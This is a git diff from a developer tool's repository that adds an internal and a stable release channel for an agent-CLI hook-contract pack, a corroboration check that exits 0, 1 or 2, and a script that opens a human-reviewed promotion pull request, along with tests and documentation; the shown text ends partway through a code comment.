b/__tests__/hooks/contract-pack-client.test.ts index 180b0e82a..5e2d97921 100644 --- a/__tests__/hooks/contract-pack-client.test.ts +++ b/__tests__/hooks/contract-pack-client.test.ts @@ -12,7 +12,12 @@ import { createServer, type Server } from "node:http"; import { mkdtempSync, rmSync, readFileSync, writeFileSync, mkdirSync, statSync, utimesSync } from "node:fs"; import { tmpdir } from "node:os"; import { join } from "node:path"; -import { refreshContractPack, readCachedPack, packUrl } from "../../src/hooks/contract-pack-client"; +import { + refreshContractPack, + readCachedPack, + packUrl, + packChannel, +} from "../../src/hooks/contract-pack-client"; import { contractPackFile } from "../../src/hooks/fp-home"; let home: string; @@ -30,6 +35,7 @@ beforeEach(async () => { home = mkdtempSync(join(tmpdir(), "fpai-pack-")); process.env.FAILPROOFAI_HOME = home; delete process.env.FAILPROOFAI_NO_DOWNLOAD; + delete process.env.FAILPROOFAI_CONTRACTS_CHANNEL; respond = (send) => send(200, PACK); server = createServer((_req, res) => { @@ -48,6 +54,7 @@ afterEach(async () => { delete process.env.FAILPROOFAI_HOME; delete process.env.FAILPROOFAI_CONTRACTS_URL; delete process.env.FAILPROOFAI_NO_DOWNLOAD; + delete process.env.FAILPROOFAI_CONTRACTS_CHANNEL; await new Promise((r) => server.close(() => r())); rmSync(home, { recursive: true, force: true }); }); @@ -122,13 +129,44 @@ describe("what it refuses to cache", () => { }); describe("when it must do nothing at all", () => { - it("skips when no URL is configured", async () => { - // Shipping a plausible-looking default would 404 on every machine forever - // while looking configured. + it("defaults to the promoted channel, and an unknown name cannot move it off", () => { + // The lab's unattended pushes cut PRERELEASES, which `releases/latest` + // skips — so a pack from a bad run cannot become the one customers fetch. + // A typo in the channel name must not be a route onto the unreviewed one. delete process.env.FAILPROOFAI_CONTRACTS_URL; - expect(packUrl()).toBe(""); - const out = await refreshContractPack(); - expect(out).toMatchObject({ status: "skipped", reason: expect.stringContaining("no pack URL") }); + expect(packChannel()).toBe("stable"); + process.env.FAILPROOFAI_CONTRACTS_CHANNEL = "nonsense"; + expect(packChannel()).toBe("stable"); + expect(packUrl()).toContain("releases/latest/download/pack.json"); + }); + + it("reads the branch directly on the internal channel", () => { + // Our own machines take the risk first. It reads the branch rather than the + // newest prerelease because "latest prerelease" has no constructible URL — + // only an API query, which is the discovery step the stable path avoids. + delete process.env.FAILPROOFAI_CONTRACTS_URL; + process.env.FAILPROOFAI_CONTRACTS_CHANNEL = "internal"; + expect(packChannel()).toBe("internal"); + expect(packUrl()).toBe( + "https://raw.githubusercontent.com/FailproofAI/hook-contracts/packs/pack.json", + ); + }); + + it("lets an explicit URL win over either channel, for a mirror", () => { + process.env.FAILPROOFAI_CONTRACTS_CHANNEL = "internal"; + process.env.FAILPROOFAI_CONTRACTS_URL = "http://mirror.internal/pack.json"; + expect(packUrl()).toBe("http://mirror.internal/pack.json"); + }); + + it("falls back to the published release asset, constructed and not discovered", async () => { + // `releases/latest/download/` is a plain redirect: no API call to + // rate-limit, and no way to end up holding an artifact from a source we did + // not name. It 404s until the lab's first publish, which is the correct + // answer while no vendor contract has been measured. + delete process.env.FAILPROOFAI_CONTRACTS_URL; + expect(packUrl()).toBe( + "https://github.com/FailproofAI/hook-contracts/releases/latest/download/pack.json", + ); }); it("skips when downloads are disabled, without touching an existing cache", async () => { diff --git a/__tests__/hooks/doctor-cli.test.ts b/__tests__/hooks/doctor-cli.test.ts index 19f745026..e5681e083 100644 --- a/__tests__/hooks/doctor-cli.test.ts +++ b/__tests__/hooks/doctor-cli.test.ts @@ -10,7 +10,7 @@ import { describe, it, expect, beforeEach, afterEach } from "vitest"; import { mkdtempSync, rmSync, readFileSync, writeFileSync, mkdirSync } from "node:fs"; import { tmpdir } from "node:os"; import { join } from "node:path"; -import { runDoctorCommand } from "../../src/hooks/doctor-cli"; +import { runDoctorCommand, runDoctorCommandAsync } from "../../src/hooks/doctor-cli"; import { claudeCode } from "../../src/hooks/integrations"; let cwd: string; @@ -440,3 +440,71 @@ describe("doctor: what the lab saw that this machine has not", () => { expect(runDoctorCommand(["--user", "--refresh"]).exitCode).toBe(0); }); }); + +describe("doctor --corroborate: the promotion gate", () => { + // --corroborate forces a pack refresh, and a unit test must never depend on + // the network — nor quietly reach the real published pack and assert against + // whatever a vendor shipped this week. This exercises exactly the seeded + // files, which is what the escape hatch is for. + beforeEach(() => { + process.env.FAILPROOFAI_NO_DOWNLOAD = "1"; + }); + afterEach(() => { + delete process.env.FAILPROOFAI_NO_DOWNLOAD; + }); + + function seed(pack: unknown, local: unknown): void { + mkdirSync(join(home, "contracts"), { recursive: true }); + writeFileSync(join(home, "contracts", "pack.json"), JSON.stringify(pack)); + writeFileSync(join(home, "contracts", "observed.json"), JSON.stringify(local)); + } + const goose = (version: string, keys: string[]) => ({ + clis: { + goose: { version, hooks: { PreToolUse: { envelope: [], tools: { write: keys } } } }, + }, + }); + + it("exits 0 when this machine saw what the lab saw", async () => { + seed(goose("1.43.0", ["content", "path"]), goose("1.43.0", ["content", "path"])); + const r = await runDoctorCommandAsync(["--corroborate"]); + expect(r.exitCode).toBe(0); + expect(text(r)).toContain("corroborated"); + }); + + it("exits 1 and names the disagreement", async () => { + seed(goose("1.43.0", ["content", "uri"]), goose("1.43.0", ["content", "path"])); + const r = await runDoctorCommandAsync(["--corroborate"]); + expect(r.exitCode).toBe(1); + expect(text(r)).toContain("do not lead to the same finding"); + }); + + it("exits 2 rather than 0 when nothing was comparable", async () => { + // The load-bearing choice. Promotion must require evidence, and a machine + // that could not check has supplied none — returning 0 here would make the + // gate decorative while looking like it passed. + seed(goose("1.44.0", ["content", "path"]), goose("1.43.0", ["content", "path"])); + const r = await runDoctorCommandAsync(["--corroborate"]); + expect(r.exitCode).toBe(2); + expect(text(r)).toContain("no overlap"); + // And it must say WHY, or "no overlap" is unactionable. + expect(text(r)).toContain("lab drove 1.44.0"); + }); + + it("exits 2 when there is no pack, or no observations", async () => { + expect((await runDoctorCommandAsync(["--corroborate"])).exitCode).toBe(2); + mkdirSync(join(home, "contracts"), { recursive: true }); + writeFileSync(join(home, "contracts", "pack.json"), JSON.stringify(goose("1.43.0", ["path"]))); + const r = await runDoctorCommandAsync(["--corroborate"]); + expect(r.exitCode).toBe(2); + expect(text(r)).toContain("cannot corroborate"); + }); + + it("answers only that question, with none of the config report", async () => { + // It drives a different decision for a different reader; burying a one-line + // verdict under a config report would make it unusable in a script. + seed(goose("1.43.0", ["content", "path"]), goose("1.43.0", ["content", "path"])); + const out = text(await runDoctorCommandAsync(["--corroborate"])); + expect(out).not.toContain("hook configs on this machine"); + expect(out).not.toContain("Payload translation"); + }); +}); diff --git a/__tests__/integration-suite/contracts-lab.test.ts b/__tests__/integration-suite/contracts-lab.test.ts index bfe130f73..39781826e 100644 --- a/__tests__/integration-suite/contracts-lab.test.ts +++ b/__tests__/integration-suite/contracts-lab.test.ts @@ -28,6 +28,7 @@ const runnerSh = read(path.join(SUITE, "contracts-runner.sh")); const publishSh = read(path.join(SUITE, "contracts-publish.sh")); const entrypointSh = read(path.join(SUITE, "ci-entrypoint.sh")); const jobSh = read(path.join(LOCAL, "jobs", "contracts.sh")); +const promoteSh = read(path.join(SUITE, "contracts-promote.sh")); const runJobSh = read(path.join(LOCAL, "run-job.sh")); const installSh = read(path.join(LOCAL, "install.sh")); @@ -145,11 +146,50 @@ describe("publishing", () => { expect(publishSh).toContain("nothing moved"); }); + it("pushes to the internal branch, never the protected default", () => { + // The org ruleset requires a reviewed pull request on main with no bypass + // actors. An unattended lab pushing there does not fail loudly — it fails + // every night, and the pack silently stops being published. + expect(publishSh).toMatch(/BRANCH="\$\{CONTRACTS_BRANCH:-packs\}"/); + }); + + it("releases from packs as a prerelease, so clients cannot resolve to it", () => { + // GitHub's `latest` skips prereleases. That one fact is what keeps a pack + // built from a bad lab run away from customer machines, so it is pinned + // here rather than left to the workflow's wording. + const wf = read(path.join(SUITE, "contracts-repo", "release.yml")); + expect(wf).toMatch(/branches: \[packs, main\]/); + expect(wf).toMatch(/prerelease=--prerelease/); + expect(wf).toMatch(/GITHUB_REF_NAME" = packs/); + }); + + it("promotes only on corroboration, never on \"could not check\"", () => { + // doctor --corroborate exits 0/1/2. Treating anything but 0 as a pass would + // make the gate decorative: a machine that compared nothing would wave every + // pack through to every customer. + expect(promoteSh).toMatch(/doctor --corroborate/); + expect(promoteSh).toMatch(/if \[ "\$rc" -ne 0 \]; then/); + expect(promoteSh).toContain("not promoting"); + }); + + it("does not open a second pull request when one is already open", () => { + // A daily job that raises a pull request every day teaches everyone to + // ignore them, which costs exactly the review this design depends on. + expect(promoteSh).toMatch(/pulls\?state=open/); + expect(promoteSh).toContain("already open"); + }); + + it("never merges — the required review is the promotion decision", () => { + expect(promoteSh).not.toMatch(/\/merge|gh pr merge/); + }); + it("keeps the token out of everything it prints", () => { // The token is embedded in the remote URL, so no message may echo it. expect(publishSh).toMatch(/x-access-token:\$\{TOKEN\}/); - for (const line of publishSh.split("\n")) { - if (/^\s*(echo|printf)\b/.test(line)) expect(line).not.toContain("$TOKEN"); + for (const script of [publishSh, promoteSh]) { + for (const line of script.split("\n")) { + if (/^\s*(echo|printf)\b/.test(line)) expect(line).not.toContain("$TOKEN"); + } } }); }); diff --git a/bin/failproofai.mjs b/bin/failproofai.mjs index 6d6124e61..697554efa 100755 --- a/bin/failproofai.mjs +++ b/bin/failproofai.mjs @@ -785,6 +785,7 @@ failproofai doctor — check that this machine's hook configs are still wired up USAGE failproofai doctor [--fix] [--json] [--refresh] [--user|--project] + failproofai doctor --corroborate WHAT IT CHECKS Two things, with different remedies. @@ -805,6 +806,11 @@ OPTIONS did not take --json machine-readable output --refresh fetch the contracts lab's latest pack before checking + --corroborate + answer ONLY "does this machine agree with the lab's pack?", for + the promotion gate. Exits 0 corroborated, 1 contradicted, 2 + nothing comparable — 2 rather than 0, because promotion must + require evidence and "could not check" is not evidence --user user-scope configs only --project project-scope configs only (uses the current directory) diff --git a/integration-suite/contracts-promote.sh b/integration-suite/contracts-promote.sh new file mode 100644 index 000000000..d866654f7 --- /dev/null +++ b/integration-suite/contracts-promote.sh @@ -0,0 +1,107 @@ +#!/usr/bin/env bash +# Ask this machine whether it agrees with the lab, and open the promotion pull +# request if it does. +# +# contracts-promote.sh +# env: CONTRACTS_REPO= CONTRACTS_TOKEN= +# FAILPROOFAI_BIN= (default: failproofai on PATH) +# +# ── Where this belongs ─────────────────────────────────────────────────────── +# On a machine that RUNS the agent CLIs for real, not on the lab box. The whole +# value is a second, independent measurement: the lab drove each CLI once in a +# container, and this asks whether something using those CLIs day to day saw the +# same thing. Running it on the box would compare the lab's run against the +# lab's own leftovers and always agree, which is worse than not checking at all +# — it would look like corroboration while supplying none. +# +# ── What it will not do ────────────────────────────────────────────────────── +# It does not merge, and it cannot: the org ruleset requires a reviewed pull +# request on main, and that review is the promotion decision. This only gets the +# diff in front of a human, and only when a real machine has already agreed with +# it. A pack that nothing corroborates simply stays on the internal channel, +# which is the correct resting place for a measurement nobody has confirmed. +set -uo pipefail + +REPO="${CONTRACTS_REPO:?CONTRACTS_REPO (owner/name) required}" +TOKEN="${CONTRACTS_TOKEN:?CONTRACTS_TOKEN required}" +BIN="${FAILPROOFAI_BIN:-failproofai}" +HEAD_BRANCH="${CONTRACTS_BRANCH:-packs}" +BASE_BRANCH="${CONTRACTS_BASE:-main}" + +api() { # $1 = method, $2 = path, $3 = optional body + local method="$1" path="$2" body="${3:-}" + if [ -n "$body" ]; then + curl -sS -X "$method" -H "Authorization: Bearer $TOKEN" \ + -H "Accept: application/vnd.github+json" --data "$body" \ + "https://api.github.com/repos/$REPO/$path" + else + curl -sS -X "$method" -H "Authorization: Bearer $TOKEN" \ + -H "Accept: application/vnd.github+json" \ + "https://api.github.com/repos/$REPO/$path" + fi +} + +# ── 1. Does this machine agree? ────────────────────────────────────────────── +# Exit 0 corroborated, 1 contradicted, 2 nothing comparable. Only 0 proceeds: +# "we could not check" is not evidence, and promoting on it would make the gate +# decorative. +echo "── asking this machine whether it agrees with the lab ──" +verdict_out="$(FAILPROOFAI_CONTRACTS_CHANNEL=internal "$BIN" doctor --corroborate 2>&1)" +rc=$? +echo "$verdict_out" +if [ "$rc" -ne 0 ]; then + echo "not promoting: this machine did not corroborate the pack (exit $rc)" + exit "$rc" +fi + +# ── 2. Is there anything to promote? ───────────────────────────────────────── +ahead="$(api GET "compare/$BASE_BRANCH...$HEAD_BRANCH" | node -e ' + let s=""; process.stdin.on("data",d=>s+=d).on("end",()=>{ + try { const c=JSON.parse(s); process.stdout.write(String(c.ahead_by ?? 0)); } + catch { process.stdout.write("0"); } + })')" +if [ "${ahead:-0}" = 0 ]; then + echo "nothing to promote: $HEAD_BRANCH is not ahead of $BASE_BRANCH" + exit 0 +fi + +# ── 3. Is one already open? ────────────────────────────────────────────────── +# A daily job that opens a pull request every day teaches everyone to ignore +# them, which costs exactly the review this design depends on. +existing="$(api GET "pulls?state=open&base=$BASE_BRANCH&head=${REPO%%/*}:$HEAD_BRANCH" | node -e ' + let s=""; process.stdin.on("data",d=>s+=d).on("end",()=>{ + try { const a=JSON.parse(s); process.stdout.write(a.length ? String(a[0].number) : ""); } + catch { process.stdout.write(""); } + })')" +if [ -n "$existing" ]; then + echo "already open: #$existing — a machine has corroborated it again, nothing new to raise" + exit 0 +fi + +# ── 4. Raise it ────────────────────────────────────────────────────────────── +body="$(printf '%s' "A vendor's hook contract moved, and an independent machine that runs these CLIs agrees with what the lab recorded. + +\`\`\` +$verdict_out +\`\`\` + +Merging publishes this to \`releases/latest/download/pack.json\`, which is what every client machine fetches. Review the diff to \`pack.json\` — it is the vendor's own key names, so a change here is a change somebody else shipped." \ + | node -e 'const t=require("fs").readFileSync(0,"utf8");process.stdout.write(JSON.stringify(t))')" + +payload="$(node -e ' + const [head, base, body] = process.argv.slice(1); + process.stdout.write(JSON.stringify({ + title: "Promote the contracts pack", + head, base, body: JSON.parse(body), + }));' "$HEAD_BRANCH" "$BASE_BRANCH" "$body")" + +number="$(api POST pulls "$payload" | node -e ' + let s=""; process.stdin.on("data",d=>s+=d).on("end",()=>{ + try { const p=JSON.parse(s); process.stdout.write(p.number ? String(p.number) : "ERR:"+(p.message||"unknown")); } + catch { process.stdout.write("ERR:unparseable response"); } + })')" + +case "$number" in + ERR:*) echo "could not open the pull request: ${number#ERR:}" >&2; exit 2 ;; + *) echo "opened #$number — promotion now needs a human review, which is the gate" ;; +esac diff --git a/integration-suite/contracts-publish.sh b/integration-suite/contracts-publish.sh index 5810ba324..25a8b7108 100755 --- a/integration-suite/contracts-publish.sh +++ b/integration-suite/contracts-publish.sh @@ -4,6 +4,12 @@ # contracts-publish.sh # env: CONTRACTS_REPO= CONTRACTS_TOKEN= # +# Pushes to `packs`, not the default branch. The org ruleset requires a reviewed +# pull request on main with no bypass actors, so an unattended lab cannot push +# there — and turning a daily data update into a daily review request would stop +# it being unattended. main carries the documentation and keeps the protection; +# `packs` carries the data and the release workflow that reads it. +# # ── Why this compares before it commits ────────────────────────────────────── # Every pack carries a fresh `generatedAt`, so a byte comparison would differ # every single day. Push daily and the repo makes a release daily, and once a @@ -22,7 +28,7 @@ set -uo pipefail PACK="${1:?usage: contracts-publish.sh }" REPO="${CONTRACTS_REPO:?CONTRACTS_REPO (owner/name) required}" TOKEN="${CONTRACTS_TOKEN:?CONTRACTS_TOKEN required}" -BRANCH="${CONTRACTS_BRANCH:-main}" +BRANCH="${CONTRACTS_BRANCH:-packs}" [ -s "$PACK" ] || { echo "✗ no pack at $PACK" >&2; exit 2; } WORK="$(mktemp -d)" diff --git a/integration-suite/contracts-repo/README.md b/integration-suite/contracts-repo/README.md index e1f043ed7..23fd60628 100644 --- a/integration-suite/contracts-repo/README.md +++ b/integration-suite/contracts-repo/README.md @@ -1,8 +1,9 @@ # The contracts repo The contracts lab publishes one file — `pack.json`, describing every agent CLI's -live hook contract — to a **separate public repo** under the failproofai org. -This directory holds what that repo needs. Nothing here runs from this repo. +live hook contract — to **[FailproofAI/hook-contracts](https://github.com/FailproofAI/hook-contracts)**, +a separate public repo. This directory holds a copy of what that repo runs, so +the two can be diffed. Nothing here executes. ## Why a separate repo @@ -12,32 +13,76 @@ release cadence driven by other people's release cadence. It also has to stay readable by clients older than it is, which is easier to honour when it is plainly a separate artifact with its own history. -## Setting it up +## Two channels, and why the branch protection is load-bearing -1. Create the repo (public), with a `main` branch and a `pack.json` — an empty - `{"clis":{}}` is fine as the first commit; the lab replaces it. -2. Copy `release.yml` into `.github/workflows/`. -3. Give the box a token with **contents: write** on that repo only, and put it - in `~/fp-canary/secrets.env`: +The org ruleset `failproofai-rules` requires a reviewed pull request on every +repo's default branch, with **no bypass actors** — so the lab cannot push to +`main`, and turning a daily data update into a daily review request would stop +it being unattended. Rather than work around that, the rollout is staged on it: - ``` - CONTRACTS_REPO=FailproofAI/ - CONTRACTS_TOKEN= - ``` +| Branch | What it is | Who pulls it | +|---|---|---| +| `packs` | The lab pushes here unattended the moment a vendor moves. Cuts a **prerelease**. | Our own machines (`FAILPROOFAI_CONTRACTS_CHANNEL=internal`) | +| `main` | Reached only by a pull request from `packs`. Cuts the **real release**. | Every client machine, via `releases/latest/download/pack.json` | - Until both are set the lab still runs and still reports to Slack — it just - does not publish. That is deliberate: a lab that cannot publish is still a - lab, and one that refuses to install until a repo exists is not. -4. Point clients at it by setting `DEFAULT_PACK_URL` in - `src/hooks/contract-pack-client.ts` to the release asset URL, or by setting - `FAILPROOFAI_CONTRACTS_URL` per machine. It is empty today on purpose: a - plausible-looking guess would 404 on every machine forever while looking - configured. +GitHub's `latest` skips prereleases, so the split needs no extra plumbing: a +pack built from a bad lab run **cannot** become the one customers resolve to. +And the review the ruleset demands is exactly the promotion gate — a human +agreeing a vendor really moved before it reaches every machine. The rule that +blocked the lab is the rule that makes this safe. + +The internal channel reads the branch file directly rather than the newest +prerelease, because "latest prerelease" has no constructible URL — only an API +query, which is the discovery step the stable path exists to avoid. + +## Promotion: who decides a pack is real + +A pack reaches customers only after **two** independent things agree with it. + +1. The lab measures a vendor and pushes to `packs`. +2. A machine that runs those CLIs **for real** pulls that pack and compares it + against its own accumulated observations — `failproofai doctor --corroborate`, + which exits `0` corroborated, `1` contradicted, `2` nothing comparable. +3. Only on `0` does `contracts-promote.sh` open the pull request. `2` is not a + pass: promotion requires evidence, and "could not check" is not evidence. +4. A human reads the diff and approves. The ruleset makes that unavoidable, and + the diff is the vendor's own key names — so approving it is agreeing that + somebody else shipped a change. + +Corroboration compares **findings**, not raw keys, and only where the two sides +are genuinely comparable: same CLI, same version, same tool. A local table is a +union accumulated over weeks, so it legitimately holds optional keys one lab run +never saw — demanding key-for-key equality would mean nothing ever promotes. And +a version mismatch is skipped rather than failed, because there the difference +*is* the vendor moving, which is the thing being reported. + +Run `contracts-promote.sh` on a real working machine, never on the lab box: +comparing the lab's run against the lab's own leftovers would always agree, +which is worse than not checking — it looks like corroboration while supplying +none. + +## Giving the box its credentials + +Put these in `~/fp-canary/secrets.env`: + +``` +CONTRACTS_REF=main +CONTRACTS_REPO=FailproofAI/hook-contracts +CONTRACTS_TOKEN= +``` + +The internal machine that runs `contracts-promote.sh` needs `CONTRACTS_REPO` and +a token with **pull-requests: write** — it opens a pull request and can do +nothing else. It never merges; it cannot, and that is the point. + +Until `CONTRACTS_REPO` and `CONTRACTS_TOKEN` are both set the lab still runs and +still reports to Slack — it just does not publish. That is deliberate: a lab +that cannot publish is still a lab. ## What a release means `contracts-publish.sh` commits **only when the contract moved** — it compares the pack with `generatedAt` removed, because every run produces a fresh -timestamp. So a release in that repo means a vendor changed something. If it -ever starts firing daily, that property has been lost and the notification stops -being worth reading. +timestamp. So a release means a vendor changed something. If it ever starts +firing daily, that property has been lost and the notification stops being worth +reading. diff --git a/integration-suite/contracts-repo/release.yml b/integration-suite/contracts-repo/release.yml index 0f01c0f16..702a8120a 100644 --- a/integration-suite/contracts-repo/release.yml +++ b/integration-suite/contracts-repo/release.yml @@ -1,18 +1,41 @@ # Publish pack.json as a release asset, so a client can fetch it from a URL it # constructs rather than one it discovers. # -# Copy into the contracts repo at .github/workflows/release.yml. It does NOT -# belong to the failproofai repo and does nothing here. +# THIS IS A COPY of what FailproofAI/hook-contracts runs, kept here so the two +# can be diffed. It does nothing in this repo. # -# It fires on a push to main that touched pack.json — which, because -# contracts-publish.sh only commits when the contract actually moved, means a -# release happens when a vendor changed something and not merely when a day -# passed. Keep it that way: a daily release is a notification nobody reads. +# TWO CHANNELS, one file. +# +# packs -> a PRERELEASE. The lab pushes here unattended the moment it sees a +# vendor move. Our own machines pull this channel first, so a pack +# built from a bad run is caught by us and not by a customer. +# main -> the real release, and therefore `releases/latest/download`, which +# is what every client machine fetches. Reached only by a pull +# request from `packs`. +# +# GitHub's `latest` deliberately skips prereleases, so that split needs no extra +# plumbing: an internal pack simply cannot become the one clients resolve to. +# And because the org ruleset requires a reviewed pull request on main, the +# promotion step is a human agreeing that a vendor really moved — the rule that +# blocked the lab from pushing to main is the same rule that makes this safe. +# +# It fires only when pack.json actually CHANGED, which — because +# contracts-publish.sh commits only when the contract moved — means a release +# means a vendor changed something, not that a day passed. Keep it that way: a +# daily release is a notification nobody reads. +# +# WHY `packs` AND NOT `main`. The org ruleset requires a pull request with an +# approving review on the default branch, with no bypass actors — so an +# unattended lab cannot push there, and turning a daily data update into a daily +# review request would stop it being unattended. `packs` carries the data and is +# outside that rule; main carries the documentation and keeps the protection. +# A workflow triggers from the ref that was pushed, which is why this file lives +# on `packs` as well. name: Release pack on: push: - branches: [main] + branches: [packs, main] paths: ["pack.json"] workflow_dispatch: @@ -42,13 +65,20 @@ jobs: # Dated tags, because the pack has no version of its own and inventing one # would be a number nobody increments for a reason. Two moves in a day get - # a suffix rather than colliding. + # a suffix rather than colliding. Internal tags are named apart so a + # promoted pack and the internal one it came from are never confused. - name: Tag id: tag run: | - base="pack-$(date -u +%Y-%m-%d)" - tag="$base" - n=1 + git fetch --tags --quiet + if [ "$GITHUB_REF_NAME" = packs ]; then + base="internal-$(date -u +%Y-%m-%d)" + echo "prerelease=--prerelease" >> "$GITHUB_OUTPUT" + else + base="pack-$(date -u +%Y-%m-%d)" + echo "prerelease=" >> "$GITHUB_OUTPUT" + fi + tag="$base"; n=1 while git rev-parse "refs/tags/$tag" >/dev/null 2>&1; do n=$((n+1)); tag="$base.$n" done @@ -58,6 +88,12 @@ jobs: env: GH_TOKEN: ${{ github.token }} run: | + if [ "$GITHUB_REF_NAME" = packs ]; then + notes="A vendor's hook contract moved. INTERNAL channel — our own machines pull this first; it is not what \`releases/latest\` resolves to. Promote by opening a pull request from \`packs\` to \`main\`." + else + notes="A vendor's hook contract moved, and it has been reviewed. This is the release every client machine resolves to via \`releases/latest/download/pack.json\`." + fi gh release create "${{ steps.tag.outputs.tag }}" pack.json \ --title "${{ steps.tag.outputs.tag }}" \ - --notes "A vendor's hook contract moved. See pack.json." + ${{ steps.tag.outputs.prerelease }} \ + --notes "$notes" diff --git a/integration-suite/local/jobs/contracts.sh b/integration-suite/local/jobs/contracts.sh index 62e184cfd..b0bb23912 100755 --- a/integration-suite/local/jobs/contracts.sh +++ b/integration-suite/local/jobs/contracts.sh @@ -101,5 +101,11 @@ else echo "── publish skipped (CONTRACTS_REPO / CONTRACTS_TOKEN not both set, or untrusted run) ──" fi +# Promotion is deliberately NOT done here. `contracts-promote.sh` asks whether a +# machine that runs these CLIs for real agrees with what the lab recorded, and +# running it on this box would compare the lab's run against the lab's own +# leftovers — always agreeing, which is worse than not checking at all. It +# belongs on a working machine, on its own schedule. + echo "── done (rc=$rc) ──" exit "$rc" diff --git a/src/hooks/contract-corroborate.ts b/src/hooks/contract-corroborate.ts new file mode 100644 index 000000000..d56bc6620 --- /dev/null +++ b/src/hooks/contract-corroborate.ts @@ -0,0 +1,176 @@ +/** + * Does a second, independent machine agree with what the lab measured? + * + * The lab drives each CLI once, in a container, on a schedule. That is one + * measurement, and a pack built from a run that went subtly wrong — a stale + * image, a half-configured vendor, a model that behaved oddly — looks exactly + * like a pack built from a good one. Before such a pack reaches every customer, + * something that runs those CLIs for real should have seen the same thing. + * + * That is all this does: take the lab's pack and this machine's own + * observations, and report whether they say the same thing where they overlap. + * + * ## What "the same thing" means, precisely + * + * Not "the same keys". A local table is a UNION accumulated over weeks, so it + * legitimately holds optional keys a single lab run never saw, and calling that + * a contradiction would mean nothing ever promotes. + * + * It compares FINDINGS instead — the output of `contract-compare.ts` run over + * each source. Findings are what anything acts on, so two sources agree exactly + * when they would cause the same action. An extra optional key that changes no + * finding is correctly invisible here. + * + * ## What it refuses to compare + * + * - **Different versions of the same CLI.** If the lab drove goose 1.44 and this + * machine runs 1.43, a difference is the vendor moving — the very thing the + * pack exists to report — not evidence that the lab was wrong. Comparing them + * would turn every real finding into a contradiction and block exactly the + * promotions that matter most. + * - **Tools only one side saw.** The lab exercises tools this machine may never + * use, and vice versa. Absence of evidence is not disagreement. + * - **Envelope keys.** Optional fields come and go between payloads of the same + * event, so their absence says nothing. + * + * A machine with no overlap at all returns `no-overlap`, which is deliberately + * NOT a pass: promotion should require evidence, and "we could not check" is + * not evidence. + */ +import { compareCliContract, type ContractFinding } from "./contract-compare"; + +export type CorroborationVerdict = + /** Every comparable shape produced the same findings on both sides. */ + | "corroborated" + /** At least one comparable shape disagreed. Something measured wrong. */ + | "contradicted" + /** Nothing was comparable, so nothing was learned. */ + | "no-overlap"; + +export interface Disagreement { + cli: string; + version: string; + event: string; + /** The vendor's own tool name. */ + tool: string; + lab: string[]; + local: string[]; + detail: string; +} + +export interface Corroboration { + verdict: CorroborationVerdict; + /** Comparable (cli, version, event, tool) shapes that produced the same findings. */ + agreed: number; + disagreements: Disagreement[]; + /** CLIs that were comparable at all — same name AND same version on both sides. */ + comparedClis: string[]; + /** CLIs in the pack this machine could not speak to, and why. */ + skipped: { cli: string; reason: string }[]; +} + +function asRecord(v: unknown): Record | undefined { + return v && typeof v === "object" && !Array.isArray(v) + ? (v as Record) + : undefined; +} + +function strings(v: unknown): string[] { + return Array.isArray(v) ? v.filter((x): x is string => typeof x === "string") : []; +} + +/** The findings one source produces for one (event, tool), as comparable text. */ +function findingsFor(cli: string, event: string, tool: string, keys: string[]): string[] { + const record = { hooks: { [event]: { envelope: [], tools: { [tool]: keys } } } }; + return compareCliContract(cli, record) + .findings.filter((f: ContractFinding) => f.tool === tool) + .map((f) => `${f.kind}:${(f.missing ?? []).join("|")}`) + .sort(); +} + +/** Every (event, tool) to key names, for one CLI record. */ +function shapes(record: unknown): Map { + const out = new Map(); + const hooks = asRecord(asRecord(record)?.hooks); + if (!hooks) return out; + for (const [event, shapeRaw] of Object.entries(hooks)) { + const tools = asRecord(asRecord(shapeRaw)?.tools); + if (!tools) continue; + for (const [tool, keysRaw] of Object.entries(tools)) { + out.set(`${event} ${tool}`, { event, tool, keys: strings(keysRaw).slice().sort() }); + } + } + return out; +} + +/** + * Compare a pack against this machine's own observations. + * + * Never throws: this decides whether to open a pull request, and a crash here + * must read as "did not corroborate" rather than take a scheduled job down. + */ +export function corroborateContractPack(pack: unknown, local: unknown): Corroboration { + const packClis = asRecord(asRecord(pack)?.clis) ?? {}; + const localClis = asRecord(asRecord(local)?.clis) ?? {}; + + const disagreements: Disagreement[] = []; + const comparedClis: string[] = []; + const skipped: { cli: string; reason: string }[] = []; + let agreed = 0; + + for (const [cli, labRecord] of Object.entries(packClis)) { + const localRecord = localClis[cli]; + if (!localRecord) { + skipped.push({ cli, reason: "this machine does not run it" }); + continue; + } + const labVersion = asRecord(labRecord)?.version; + const localVersion = asRecord(localRecord)?.version; + if (typeof labVersion !== "string" || typeof localVersion !== "string") { + skipped.push({ cli, reason: "a version is missing on one side" }); + continue; + } + if (labVersion !== localVersion) { + // The difference IS the vendor moving. Calling it a contradiction would + // block exactly the promotions that matter most. + skipped.push({ cli, reason: `lab drove ${labVersion}, this machine runs ${localVersion}` }); + continue; + } + + const labShapes = shapes(labRecord); + const localShapes = shapes(localRecord); + let comparedHere = 0; + + for (const [key, lab] of labShapes) { + const mine = localShapes.get(key); + if (!mine) continue; // this machine never used that tool + comparedHere += 1; + + const fromLab = findingsFor(cli, lab.event, lab.tool, lab.keys); + const fromHere = findingsFor(cli, mine.event, mine.tool, mine.keys); + if (fromLab.join(";") === fromHere.join(";")) { + agreed += 1; + continue; + } + disagreements.push({ + cli, + version: labVersion, + event: lab.event, + tool: lab.tool, + lab: lab.keys, + local: mine.keys, + detail: + `${cli} ${labVersion} ${lab.tool}: the lab recorded [${lab.keys.join(", ")}], ` + + `this machine recorded [${mine.keys.join(", ")}] — they do not lead to the same finding`, + }); + } + + if (comparedHere > 0) comparedClis.push(cli); + else skipped.push({ cli, reason: "no tool was exercised on both sides" }); + } + + const verdict: CorroborationVerdict = + disagreements.length > 0 ? "contradicted" : agreed > 0 ? "corroborated" : "no-overlap"; + + return { verdict, agreed, disagreements, comparedClis, skipped }; +} diff --git a/src/hooks/contract-pack-client.ts b/src/hooks/contract-pack-client.ts index c96f23963..1c349e191 100644 --- a/src/hooks/contract-pack-client.ts +++ b/src/hooks/contract-pack-client.ts @@ -25,16 +25,28 @@ import { dirname, join } from "node:path"; import { contractPackFile } from "./fp-home"; /** - * Where the pack is published. + * Where the pack comes from, per channel. * - * Empty on purpose. The lab publishes to its own repo under the failproofai - * org, and that repo does not exist yet — so there is nothing to point at, and - * a plausible-looking guess would be worse than nothing: it would ship a URL - * that 404s on every machine, indefinitely, while looking configured. Set this - * one constant when the repo is created, or point `FAILPROOFAI_CONTRACTS_URL` - * at a mirror. + * Both are CONSTRUCTED, never discovered — no API call to rate-limit, and no + * way to end up holding an artifact from a source we did not name. 